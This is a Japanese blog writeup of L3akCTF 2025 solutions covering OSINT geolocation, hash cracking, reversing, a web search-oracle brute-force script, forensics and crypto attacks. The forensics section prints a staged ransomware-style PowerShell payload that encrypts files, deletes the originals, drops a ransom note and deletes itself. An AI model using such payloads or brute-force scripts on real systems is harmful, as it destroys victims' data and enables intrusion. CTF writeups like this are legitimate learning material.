以下の内容はhttps://yocchin.hatenablog.com/entry/2025/07/14/081558より取得しました。


L3akCTF 2025 Writeup

この大会は2025/7/12 2:00(JST)~2025/7/14 2:00(JST)に開催されました。
今回もチームで参戦。結果は750点で1587チーム中279位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

L3AK{W3Lc0mE_t0_L3aKCTF_2025!}

Puzzles - 1 (MIsc)

普通に4×4ピースのジグソーパズルを解いていく。解けなかったら、時間外でパズルを完成させ、画像を保存しておき、同じ問題が出題されたときに、それを参考に解いていく。
1回目で時間内に完成できなかったパズルを完成させた画像は次の通り。








10個のジグソーパズルを解くと、フラグが表示された。

L3AK{1_th4t_w45_pr3tty_34sy}

Sunny Day (OSINT)

特徴的な建物がある部分を中心に画像検索する。

この結果、以下のページが見つかった。
https://quiberon24television.com/liechtenstein-pfarrkirche-triesenberg/
LiechtensteinのPfarrkirche Triesenbergという教会らしい。

Google Mapで調べると、この辺りであることがわかる。
https://www.google.co.jp/maps/@47.117462,9.5459644,3a,75y,155.4h,90.36t/data=!3m7!1e1!3m5!1sbhWDsLgfBdi-npRHjgV4-w!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-0.3647601735765704%26panoid%3DbhWDsLgfBdi-npRHjgV4-w%26yaw%3D155.40113325330316!7i16384!8i8192?hl=ja&entry=ttu&g_ep=EgoyMDI1MDcwOC4wIKXMDSoASAFQAw%3D%3D


同じ場所をポイントしSubmitすると、フラグが表示された。

L3AK{sUn5H1Ne_iN_L1ecHt3nSTe1n}

Mountain View (OSINT)

周囲を見回すと、さくら咲競プロジェクトの看板が見える。

この部分を中心に画像検索すると、以下のページが見つかる。
http://www.zuzu.bz/ownerblog/2015/04/post_1145.html
花矢倉展望台が近いらしい。

Google Mapで調べると、この辺りであることがわかる。
https://www.google.co.jp/maps/place/%E5%90%89%E9%87%8E%E6%B0%B4%E5%88%86%E7%A5%9E%E7%A4%BE/@34.3561646,135.8722711,3a,75y,304.52h,69.15t/data=!3m7!1e1!3m5!1s86zlurxPtXWtKpK2excdLQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D20.847060074789127%26panoid%3D86zlurxPtXWtKpK2excdLQ%26yaw%3D304.52417485538274!7i16384!8i8192!4m6!3m5!1s0x6006c7a82adc244d:0x9d2e3ee2cbf763c2!8m2!3d34.3538425!4d135.8731674!16s%2Fm%2F076zcdq?hl=ja&entry=ttu&g_ep=EgoyMDI1MDcwOC4wIKXMDSoASAFQAw%3D%3D


同じ場所をポイントしSubmitすると、フラグが表示された。

L3AK{y0sh1n0_HAs_gR3At_54KuRA_Bl0s5omS}

Lost Locomotives (OSINT)

周囲を見ると、廃墟のような建物が見える。

この部分を中心に画像検索すると、以下のページが見つかる。
https://kuskaschool.org/en/experiences/
オリャンタイタンボの近くかもしれない。

Google Mapで調べると、この辺りであることがわかる。
https://www.google.co.jp/maps/place/Estaci%C3%B3n+Ferroviaria+de+Ollantaytambo/@-13.2639058,-72.269004,2a,75y,310.15h,60.6t/data=!3m7!1e1!3m5!1swJQ9peDwCIw7wy0KIwFt5Q!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D29.39887875897491%26panoid%3DwJQ9peDwCIw7wy0KIwFt5Q%26yaw%3D310.1491950531581!7i13312!8i6656!4m6!3m5!1s0x916dea6f11c0ce25:0xd22c413e6b08927c!8m2!3d-13.2632454!4d-72.2704137!16s%2Fg%2F1vp707lp?hl=ja&entry=ttu&g_ep=EgoyMDI1MDcwOC4wIKXMDSoASAFQAw%3D%3D


同じ場所をポイントしSubmitすると、フラグが表示された。

L3AK{cH00_Ch0o_1n_P3Ru}

Grain of Truth (OSINT)

田園風景が広がり、電柱の文字が一番特徴的である。

この電柱には以下のように書いてある。

好收
26南分15
K2812
CB64

好收を調べると、台湾の地名であることがわかる。

Google Mapで調べると、この地名は何か所かあるが、嘉義県のこの辺りであることがわかる。
https://www.google.com/maps/place/23%C2%B033'21.1%22N+120%C2%B026'47.2%22E/@23.5558605,120.4464335,3a,75y,156.81h,63.91t/data=!3m7!1e1!3m5!1sl5u45uCJ0ixcUl8GpBL9rg!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D26.094960367632225%26panoid%3Dl5u45uCJ0ixcUl8GpBL9rg%26yaw%3D156.81126125689173!7i16384!8i8192!4m4!3m3!8m2!3d23.55586!4d120.446433?entry=ttu&g_ep=EgoyMDI1MDcwOS4wIKXMDSoASAFQAw%3D%3D


同じ場所をポイントしSubmitすると、フラグが表示された。

L3AK{Wh0_Kn3W_El3ctr1C_p0L3S_W3R3_so_Us3FuL!}

Elephant Enclosure (OSINT)

周囲を見回すと、象が何頭かいて、少し特徴的である。

この部分を中心に画像検索すると、以下のページが見つかる。
https://uncia2.exblog.jp/29772947/

どうやらシンガポール動物園のようだ。
https://merlion-channel.com/singaporezoo/を見ると、象のエリアがわかる。

Google Mapで調べると、この辺りであることがわかる。
https://www.google.co.jp/maps/@1.4053857,103.7961003,3a,75y,275.44h,84.2t/data=!3m7!1e1!3m5!1sZTWlY4pB8JPkxmRxr2_yrw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D5.803813682180973%26panoid%3DZTWlY4pB8JPkxmRxr2_yrw%26yaw%3D275.43562923427487!7i13312!8i6656?hl=ja&entry=ttu&g_ep=EgoyMDI1MDcwOC4wIKXMDSoASAFQAw%3D%3D


同じ場所をポイントしSubmitすると、フラグが表示された。

L3AK{E13ph4nTs_4R3_F4sT_AF_https://youtu.be/ccxNteEogrg}

Mildly Disastrous 5ecurity (Hash Cracking)

md5ハッシュ値が提示されているので、クラックする問題。
CrackStationでクラックする。

53e182cbd4daa6680f1a7c7b85eba802	md5	cookiezz
1bfcbffaf03174f022225a62ddf025a8	md5	m00nl!ght
1853572d1b6ae6f644718a6b6df835f9	md5	sauron82
L3AK{cookiezz_m00nl!ght_sauron82}

Strange Transmission (Hardware-RF)

モールス信号のようになっているので、https://morsecode.world/international/decoder/audio-decoder-adaptive.htmlでデコードする。

OHWOWYOUFOUNDOURSECRETMORSECODEAUDIOWELLDONEHEREISTHEFIRSTHALFOFTHEFLAGL3AKOPENBRACKETWELC0M3UNDERSCORET0UNDERSCORETH3UNDERSCOREH4RDW4R3UNDERSCORERFUNDERSCORE

読みづらいので、スペースを入れ、単語ごとに分ける。

OH WOW YOU FOUND OUR SECRET MORSE CODE AUDIO WELL DONE HERE IS THE FIRST HALF OF THE FLAG L3AK OPENBRACKET WELC0M3 UNDERSCORE T0 UNDERSCORE TH3 UNDERSCORE H4RDW4R3 UNDERSCORE RF UNDERSCORE

このことからフラグの前半がわかる。

L3AK{welc0m3_t0_th3_h4rdw4r3_rf_

まだフラグの半分しかわかっていない。Audacityでスペクトログラムを見ると、フラグの後半が現れた。

c4teg0ry_w3_h0p3_you_h4ve_fun!}
L3AK{welc0m3_t0_th3_h4rdw4r3_rf_c4teg0ry_w3_h0p3_you_h4ve_fun!}

babyRev (Rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  time_t tVar2;
  size_t __n;
  int local_c;
  
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  init_remap();
  signal(2,sigint_handler);
  printf("Enter flag: ");
  fflush(stdout);
  fgets(input,0x40,stdin);
  for (local_c = 0; input[local_c] != '\0'; local_c = local_c + 1) {
    if (-1 < (char)input[local_c]) {
      input[local_c] = remap[(int)(uint)(byte)input[local_c]];
    }
  }
  __n = strlen(flag);
  iVar1 = strncmp(input,flag,__n);
  if (iVar1 == 0) {
    puts("Correct! Here is your prize.");
  }
  else {
    puts("Wrong flag. Try harder.");
  }
  return 0;
}

void init_remap(void)

{
  int local_c;
  
  for (local_c = 0; local_c < 0x80; local_c = local_c + 1) {
    remap[local_c] = (char)local_c;
  }
  remap[0x61] = 0x71;
  remap[0x62] = 0x77;
  remap[99] = 0x65;
  remap[100] = 0x72;
  remap[0x65] = 0x74;
  remap[0x66] = 0x79;
  remap[0x67] = 0x75;
  remap[0x68] = 0x69;
  remap[0x69] = 0x6f;
  remap[0x6a] = 0x70;
  remap[0x6b] = 0x61;
  remap[0x6c] = 0x73;
  remap[0x6d] = 100;
  remap[0x6e] = 0x66;
  remap[0x6f] = 0x67;
  remap[0x70] = 0x68;
  remap[0x71] = 0x6a;
  remap[0x72] = 0x6b;
  remap[0x73] = 0x6c;
  remap[0x74] = 0x7a;
  remap[0x75] = 0x78;
  remap[0x76] = 99;
  remap[0x77] = 0x76;
  remap[0x78] = 0x62;
  remap[0x79] = 0x6e;
  remap[0x7a] = 0x6d;
  return;
}

                             flag                                            XREF[5]:     Entry Point(*), main:00101516(*), 
                                                                                          main:0010151d(*), 
                                                                                          main:00101528(*), 
                                                                                          main:0010152f(*)  
        00104020 4c 33 41        undefine
                 4b 7b 6e 
                 67 78 5f 
           00104020 4c              undefined14Ch                     [0]                               XREF[5]:     Entry Point(*), main:00101516(*), 
                                                                                                                     main:0010151d(*), 
                                                                                                                     main:00101528(*), 
                                                                                                                     main:0010152f(*)  
           00104021 33              undefined133h                     [1]
           00104022 41              undefined141h                     [2]
           00104023 4b              undefined14Bh                     [3]
           00104024 7b              undefined17Bh                     [4]
           00104025 6e              undefined16Eh                     [5]
           00104026 67              undefined167h                     [6]
           00104027 78              undefined178h                     [7]
           00104028 5f              undefined15Fh                     [8]
           00104029 71              undefined171h                     [9]
           0010402a 6b              undefined16Bh                     [10]
           0010402b 74              undefined174h                     [11]
           0010402c 5f              undefined15Fh                     [12]
           0010402d 66              undefined166h                     [13]
           0010402e 67              undefined167h                     [14]
           0010402f 7a              undefined17Ah                     [15]
           00104030 5f              undefined15Fh                     [16]
           00104031 75              undefined175h                     [17]
           00104032 67              undefined167h                     [18]
           00104033 66              undefined166h                     [19]
           00104034 66              undefined166h                     [20]
           00104035 71              undefined171h                     [21]
           00104036 5f              undefined15Fh                     [22]
           00104037 75              undefined175h                     [23]
           00104038 78              undefined178h                     [24]
           00104039 74              undefined174h                     [25]
           0010403a 6c              undefined16Ch                     [26]
           0010403b 6c              undefined16Ch                     [27]
           0010403c 5f              undefined15Fh                     [28]
           0010403d 64              undefined164h                     [29]
           0010403e 74              undefined174h                     [30]
           0010403f 7d              undefined17Dh                     [31]
           00104040 00              undefined100h                     [32]
           00104041 00              undefined100h                     [33]
           00104042 00              undefined100h                     [34]
           00104043 00              undefined100h                     [35]
           00104044 00              undefined100h                     [36]
           00104045 00              undefined100h                     [37]
           00104046 00              undefined100h                     [38]
           00104047 00              undefined100h                     [39]
           00104048 00              undefined100h                     [40]
           00104049 00              undefined100h                     [41]
           0010404a 00              undefined100h                     [42]
           0010404b 00              undefined100h                     [43]
           0010404c 00              undefined100h                     [44]
           0010404d 00              undefined100h                     [45]
           0010404e 00              undefined100h                     [46]
           0010404f 00              undefined100h                     [47]
           00104050 00              undefined100h                     [48]
           00104051 00              undefined100h                     [49]
           00104052 00              undefined100h                     [50]
           00104053 00              undefined100h                     [51]
           00104054 00              undefined100h                     [52]
           00104055 00              undefined100h                     [53]
           00104056 00              undefined100h                     [54]
           00104057 00              undefined100h                     [55]
           00104058 00              undefined100h                     [56]
           00104059 00              undefined100h                     [57]
           0010405a 00              undefined100h                     [58]
           0010405b 00              undefined100h                     [59]
           0010405c 00              undefined100h                     [60]
           0010405d 00              undefined100h                     [61]
           0010405e 00              undefined100h                     [62]
           0010405f 00              undefined100h                     [63]
$ strings ./babyrev | grep L3AK
L3AK{ngx_qkt_fgz_ugffq_uxtll_dt}

これはフラグとして通らない。remapを元に復号する。

#!/usr/bin/env python3
remap = [i for i in range(0x80)]
remap[0x61] = 0x71
remap[0x62] = 0x77
remap[99] = 0x65
remap[100] = 0x72
remap[0x65] = 0x74
remap[0x66] = 0x79
remap[0x67] = 0x75
remap[0x68] = 0x69
remap[0x69] = 0x6f
remap[0x6a] = 0x70
remap[0x6b] = 0x61
remap[0x6c] = 0x73
remap[0x6d] = 100
remap[0x6e] = 0x66
remap[0x6f] = 0x67
remap[0x70] = 0x68
remap[0x71] = 0x6a
remap[0x72] = 0x6b
remap[0x73] = 0x6c
remap[0x74] = 0x7a
remap[0x75] = 0x78
remap[0x76] = 99
remap[0x77] = 0x76
remap[0x78] = 0x62
remap[0x79] = 0x6e
remap[0x7a] = 0x6d

ct = b'L3AK{ngx_qkt_fgz_ugffq_uxtll_dt}'
pt = ''
for c in ct:
    pt += chr(remap.index(c))
print(pt)
L3AK{you_are_not_gonna_guess_me}

Flag L3ak (Web)

3文字ずつ検索することができ、フラグとマッチしていれば、結果として「Not the flag?」の記事が検出される。L3AK{の後から順にブルートフォースでフラグを求める。その際、ブラケット内で"L3"が付くものがあるので、続く文字が"A"以外を探索するよう調整した。

#!/usr/bin/env python3
import requests
import json

url = 'http://34.134.162.213:17000/api/search'

flag = 'L3AK{'

for i in range(19):
    for code in range(33, 127):
        if i == 2 and code == ord('A'):
            continue

        query = flag[-2:] + chr(code)
        data = {'query': query}
        json_data = json.dumps(data)
        headers = {"Content-Type": "application/json"}
        r = requests.post(url, data=json_data, headers=headers)
        res = json.loads(r.text)
        print('[+] results:', res)
        if res['count'] > 0 and res['results'][0]['id'] == 3:
            flag += chr(code)
            break

print('[*] flag:', flag)

実行結果は以下の通り。

[+] results: {'results': [], 'count': 0, 'query': 'K{!'}
[+] results: {'results': [], 'count': 0, 'query': 'K{"'}
[+] results: {'results': [], 'count': 0, 'query': 'K{#'}
                :
[+] results: {'results': [], 'count': 0, 'query': '??{'}
[+] results: {'results': [], 'count': 0, 'query': '??|'}
[+] results: {'results': [{'id': 3, 'title': 'Not the flag?', 'content': 'Well luckily the content of the flag is hidden so here it is: ************************', 'author': 'admin', 'date': '2025-05-13'}], 'count': 1, 'query': '??}'}
[*] flag: L3AK{L3ak1ng_th3_Fl4g??}
L3AK{L3ak1ng_th3_Fl4g??}

Ghost In The Dark (Forensics)

FTK Imagerで開き、[root]直下を見ると、以下のファイルがある。

・loader.ps1(削除フラグ付き)
・flag.enc
・payload.enc
・RIP_PuppyJaws.enc
・trip_itinerary.enc
・ranson_note.txt

loader.ps1には以下のように書かれている。

$key = [System.Text.Encoding]::UTF8.GetBytes("0123456789abcdef")
$iv  = [System.Text.Encoding]::UTF8.GetBytes("abcdef9876543210")

$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"

$enc = Get-Content "L:\payload.enc" -Raw
$bytes = [System.Convert]::FromBase64String($enc)
$decryptor = $AES.CreateDecryptor()
$plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$script = [System.Text.Encoding]::UTF8.GetString($plaintext)

Invoke-Expression $script

# Self-delete
Remove-Item $MyInvocation.MyCommand.Path

このコードを元にpayload.encを復号する。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import *

with open('payload.enc', 'r') as f:
    ct = b64decode(f.read())

key = b'0123456789abcdef'
iv = b'abcdef9876543210'

cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), 16).decode()
print(pt)

復号結果は以下の通り。

$key = [System.Text.Encoding]::UTF8.GetBytes("m4yb3w3d0nt3x1st")
$iv  = [System.Text.Encoding]::UTF8.GetBytes("l1f31sf0rl1v1ng!")

$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"

# Load plaintext flag from C:\ (never written to L:\ in plaintext)
$flag = Get-Content "C:\Users\Blue\Desktop\StageRansomware\flag.txt" -Raw
$encryptor = $AES.CreateEncryptor()
$bytes = [System.Text.Encoding]::UTF8.GetBytes($flag)
$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[System.IO.File]::WriteAllBytes("L:\flag.enc", $cipher)

# Encrypt other files staged in D:\ (or L:\ if you're using L:\ now)
$files = Get-ChildItem "L:\" -File | Where-Object {
    $_.Name -notin @("ransom.ps1", "ransom_note.txt", "flag.enc", "payload.enc", "loader.ps1")
}

foreach ($file in $files) {
    $plaintext = Get-Content $file.FullName -Raw
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
    [System.IO.File]::WriteAllBytes("L:\$($file.BaseName).enc", $cipher)
    Remove-Item $file.FullName
}

# Write ransom note
$ransomNote = @"
i didn't mean to encrypt them.
i was just trying to remember.

the key? maybe it's still somewhere in the dark.
the script? it was scared, so it disappeared too.

maybe you'll find me.
maybe you'll find yourself.

- vivi (or his ghost)
"@
Set-Content "L:\ransom_note.txt" $ransomNote -Encoding UTF8

# Self-delete
Remove-Item $MyInvocation.MyCommand.Path

このコードを元にflag.encを復号する。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

with open('flag.enc', 'rb') as f:
    ct = f.read()

key = b'm4yb3w3d0nt3x1st'
iv = b'l1f31sf0rl1v1ng!'

cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), 16).decode()
print(pt)
L3AK{d3let3d_but_n0t_f0rg0tt3n}

Basic LLL (Crypto)

暗号化の処理概要は以下の通り。

・x, a, y, n, p = generate()
 ・p: 1024ビット素数
 ・x: 1以上2**16以下のランダム整数
 ・y: 1以上2**256以下のランダム整数
 ・a: 2**1023以上2**1024以下のランダム整数
 ・q: 2**1024未満のランダム整数
 ・n = p * q
 ・x, a, y, n, pを返却
・k = x * y + a * p
・e = 65537
・x, a, n, kを出力
・m: フラグ
・flag: mを数値化したもの
・c = pow(flag, e, n)
・cを出力

LLLを使ってpを割り出す。あとはRSA暗号として通常通り復号する。

#!/usr/bin/env sage
x = 54203
a = 139534605978199350449870348663594126359773246906906418074945064315708552206952695156472923968554408862426942537522569163756593332601739006413404986641247624386522169136633429464195370373009454673819688653512479919153332504769835621608305089536245284458011218876474599059184828911301976396971466368457267831713
n = 12909957208634846878337953184362917609451224905637563117148705894888627434882610771803126452504238664471840340722310690445704139825753660053450331966698205860077330083433391290469454571152366284661640391190008258576947840075212180965738595761925516686689797153224716140447515370184846067654512660266993573880775530634588475842083212670090415716860925772115834314563453955681012820960922892736520042799257599331942717963921797157341454739255402633419216921702659541513141028779948257696746810146033667942181244847983610429227387863821351416689099862418820999250005071861968501333899759899513283613946626413863922604073
k = 24474689179117620559916890529357882261493825442019850679598519081287156822984032786458479363048845076078220151760752906879055457682971398809768604333650029141164831566127754715775782823279839766009120238777348170982471623193652714921064243946655726118484337862412275391615166714375745390409664610412156281691721978732319253694004232933156865189917761521085635692596755802274763409871937618659197646864593743015558828475450200247766980008744319676783526158213931581034209356092026748307730083927225249093712227456855972520574747646873074625455900058136458828591335711677741591552501530047335481073272381631524755666119
c = 11185314040721202177044508537272244264288033276739579716599246665772965854249656943282002695659011960313245796587834222078633141747802754149848079632693280265262199729548775879612614113828267471629389698999657686858047585254549801752634049341009476489652456620836030696102393122618822021082792763848220677651608135328630551380537642144416978955966827336280510774254681264136102268730343853559751471313539810499170669215479225898738527316798768622089152851154959800113070358637984124299357803777453137311143202502153552192970732744885328421213081964363890280109214401691255867427694709196120824176729643585687319321473
e = 65537

X = [[1, 0, x], [0, 1, a], [0, 0, -k]]
X = Matrix(X).LLL()

p = int(X[2][1])
assert n % p == 0

q = n // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
flag = int(pow(c, d, n))
m = flag.to_bytes((flag.bit_length() + 7) // 8, 'big').decode()
print(m)
L3AK{u_4ctu4lly_pwn3d_LLL_w1th_sh0rt_v3ct0rs_n1c3}

Dumber (Crypto)

ECCの問題。まず4つの点からa, b, pを求める必要がある。
4つの点は以下が成り立つ。

y**2 % p = (x**3 + a * x + b) % p

1つ目と2つ目の点について、差を取る。

a * (x1 - x2) = (y1**2 - x1**3) - (y2**2 - x2**3) (mod p)

4つの点の差について、同様の式が得られる。xの差をdx、y**2 - x**3の差をdfとすると、pの候補は(dx * a - df)のGCDとなる。aが未知のため、各式の差をとってGCDを取り、pを求める。あとは連立方程式を解くことによって、a, bを求める。

#!/usr/bin/env sage
from itertools import *

pts = [
    (103905521866731574234430443362297034336, 116589269353056499566212456950780999584),
    (171660318017081135625337806416866746485, 122407097490400018041253306369079974706),
    (161940138185633513360673631821653803879, 167867902631659599239485617419980253311),
    (95406403280474692216804281695624776780, 109560844064302254814641159241201048462),
]

xs = [x for x, y in pts]
ys = [y for x, y in pts]

fs = [ys[i]^2 - xs[i]^3 for i in range(4)]

diffs = []
for i in range(3):
    for j in range(i + 1, 4):
        dx = xs[i] - xs[j]
        df = fs[i] - fs[j]
        if dx != 0:
            diffs.append((dx, df))

vals = [dx * df2 - dx2 * df for (dx, df), (dx2, df2) in combinations(diffs, 2)]
p = gcd(vals)

F = GF(p)
A = Matrix(F, [[xs[0], 1], [xs[1], 1]])
b_vec = vector(F, [fs[0], fs[1]])
a_b = A.solve_right(b_vec)
a, b = a_b[0], a_b[1]

for i in range(4):
    assert ys[i]^2 % p == (xs[i]^3 + a * xs[i] + b) % p

print('[+] a:', a)
print('[+] b:', b)
print('[+] p:', p)

実行結果は以下の通り。

[+] a: 121547024516589838748345110141426750807
[+] b: 7914092104289289683791712783390872437
[+] p: 190306311675782392867397794563277638587

楕円曲線を作って、orderを確認してみると、pと同じ値になっているので、SSSA Attackが使える。

#!/usr/bin/env python2
from ecpy import *
from Crypto.Util.number import *

pts = [
    (103905521866731574234430443362297034336, 116589269353056499566212456950780999584),
    (171660318017081135625337806416866746485, 122407097490400018041253306369079974706),
    (161940138185633513360673631821653803879, 167867902631659599239485617419980253311),
    (95406403280474692216804281695624776780, 109560844064302254814641159241201048462),
]

xs = [x for x, y in pts]
ys = [y for x, y in pts]

a = 121547024516589838748345110141426750807
b = 7914092104289289683791712783390872437
p = 190306311675782392867397794563277638587

F = FiniteField(p)
E = EllipticCurve(F, a, b)

P = E(xs[0], ys[0])
U = E(xs[1], ys[1])
Q = E(xs[2], ys[2])
V = E(xs[3], ys[3])

m1 = SSSA_Attack(F, E, P, U)
m2 = SSSA_Attack(F, E, Q, V)

pt1 = long_to_bytes(m1).decode()
pt2 = long_to_bytes(m2).decode()
flag = pt1 + pt2
print(flag)
L3AK{5m4rt1_1n_Th3_h00000d!!!}

Shiro Hero (Crypto)

暗号化処理の概要は以下の通り。

・state: 4個の64ビット整数の配列
・prng = xorshiro256(state)
 ・prng.s = state
・leaks: 4個のprng.next_raw()の配列
・leaksの各値を16進数で標準出力
・Apriv, Apub = ECDSA.gen_keypair()
 ・d: 1以上ECDSA.n - 1以下のランダム整数
 ・Q = d * G
 ・d, Qを返却
・Apubを標準出力
・msg: 既知固定文字列
・H: msgを数値化したもの
・sig = ECDSA.ecdsa_sign(H, Apriv, prng)
 ・k = prng() % ECDSA.n
 ・x: k * Gのx座標
 ・r = x % ECDSA.n
 ・s = (inverse(k, ECDSA.n) * (h + r * d)) % ECDSA.n
 ・r, sを返却
・msg, H, sigを標準出力
・key = hashlib.sha256(long_to_bytes(Apriv)).digest()
・iv: ランダム128ビット整数値を16バイト文字列に変換したもの
・cipher: key, ivを使ったAES CBC暗号オブジェクト
・ciphertext: ivの16進数表記文字列 + flagをパディングし、cipherで暗号化したものの16進数表記文字列
・ciphertextを標準出力
・output.txtに以下を書き込み
 ・leaksの各値の16進数
 ・Apub
 ・msg
 ・H
 ・sig
 ・ciphertext

leaksの値からstateの4つの値をz3で解く。あとはkを算出できるので、それからdを算出できる。d(=Apriv)を元に鍵を生成しているので、フラグを復号することができる。

#!/usr/bin/env python3
from z3 import *
from prng import xorshiro256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from ecc import ECDSA
from Crypto.Util.number import *
import hashlib

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

leaks = eval(params[0].split(': ')[1])
Apub = eval(params[1].split(' = ')[1])
msg = eval(params[2].split(' = ')[1])
H = int(params[3].split(' = ')[1])
sig = eval(params[4].split(' = ')[1])
ciphertext = params[5].split(' = ')[1]

x = [BitVec('x%d' % i, 64) for i in range(4)]
s = Solver()

state = [w for w in x]

prng = xorshiro256(state)
for i in range(4):
    s.add(prng.next_raw() == int(leaks[i], 16))

r = s.check()
assert r == sat
m = s.model()

state = [m[x[i]].as_long() for i in range(4)]
prng = xorshiro256(state)
for i in range(4):
    assert prng.next_raw() == int(leaks[i], 16)
assert bytes_to_long(msg) == H

while True:
    k = prng() % ECDSA.n
    if not k:
        continue
    x, _ = ECDSA.scalar_mult(k, ECDSA.G)
    if x is None:
        continue
    r = x % ECDSA.n
    if r == sig[0]:
        break

d = (sig[1] * k - H) * inverse(r, ECDSA.n) % ECDSA.n
assert Apub == ECDSA.scalar_mult(d, ECDSA.G)

key = hashlib.sha256(long_to_bytes(d)).digest()
iv = bytes.fromhex(ciphertext)[:16]
ct = bytes.fromhex(ciphertext)[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)
L3AK{u_4r3_th3_sh1r0_h3r0!}



以上の内容はhttps://yocchin.hatenablog.com/entry/2025/07/14/081558より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14